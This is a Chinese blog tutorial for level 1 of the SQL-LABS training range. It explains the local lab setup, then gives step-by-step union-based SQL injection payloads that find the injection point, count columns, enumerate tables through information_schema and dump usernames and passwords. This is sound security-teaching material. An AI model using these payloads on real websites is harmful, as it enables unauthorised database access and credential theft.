SQL注入入门攻略 SQL-LABS靶场 第1关 基于GET请求方式注入 ~

本文指导如何搭建Sql-labs靶场环境,通过一步步实践,掌握SQL注入技巧,包括注入点判断、类型识别、列数查找、数据回显、用户权限获取、表名和字段查询,最终获取root权限和用户数据。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

首先是环境搭建-点击下载

下载好后 打开PhpStudy启动apache和mysql

设置网站根目录指向保存的sql-labs目录

 

修改sql-labs数据库连接配置文件

在sql-labs目录下的sql-connections/db-creds.inc文件

改为自己实际的mysql账号和密码 默认为root/root

 

启用网站 (我的网站端口是8091)

访问http://127.0.0.1:8091  页面打开效果图

 

安装security数据库点击页面中 Setup/reset Database for labs

 

至此 sql-labs靶场环境搭建完成

点击选择关卡

 

  • LESS-1

1.判断有无注入点

        uri上拼接        

        ?id=1'

        返回报错 证明有注入点

2.判断注入类型 利用--+注释(用%23替换也可以 %23代表#符号 直接写#符号是不行的 会被浏览器认为是锚链接) 注掉语句后面的sql 

        ?id=1 and 1=2--+        正常返回

        ?id=1' and 1=2--+        无返回

        无返回证明类型为字符型注入

3.利用order by查找列数量

        ?id=1' order by 1--+        正常执行

        ?id=1' order by 2--+        正常执行

        ?id=1' order by 3--+        正常执行

        ?id=1' order by 4--+        报错 Unknown column '4' in 'order clause'

        说明表中只有3列

4.利用union拼接sql 查看回显点 id改为-1(-1不是固定写法,只是为了使其查不到数据而显示我们的sql数据)

        ?id=-1' union select 1,2,3--+

        

        回显点为第二列和第三列的字段

5.查看用户和数据库名

        ?id=-1' union select 1,user(),database()--+

        

         发现为root,可高权限注入

6.利用系统库information_schema库查出security所有表名和表字段名

        ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'--+

        

         查出四个表,接下来查询users表字段

        ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'--+

        

         查出字段为 id,username,password

7.查询出所有账号密码,结束

        现在我们拿到的数据有:

                用户: root

                数据库: scurity

                表: users

                字段: id,username,password

        构建注入语句

        ?id=-1' union select 1,2,(select group_concat('账号:',username,' 密码:',password) from users)--+

        

 

通过学习第一关的过关方法,想必小伙伴们已经初步掌握了SQL注入相关的一些技巧~

前4关的关卡大同小异,小伙伴们可以自己尝试过关 加深印象~

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值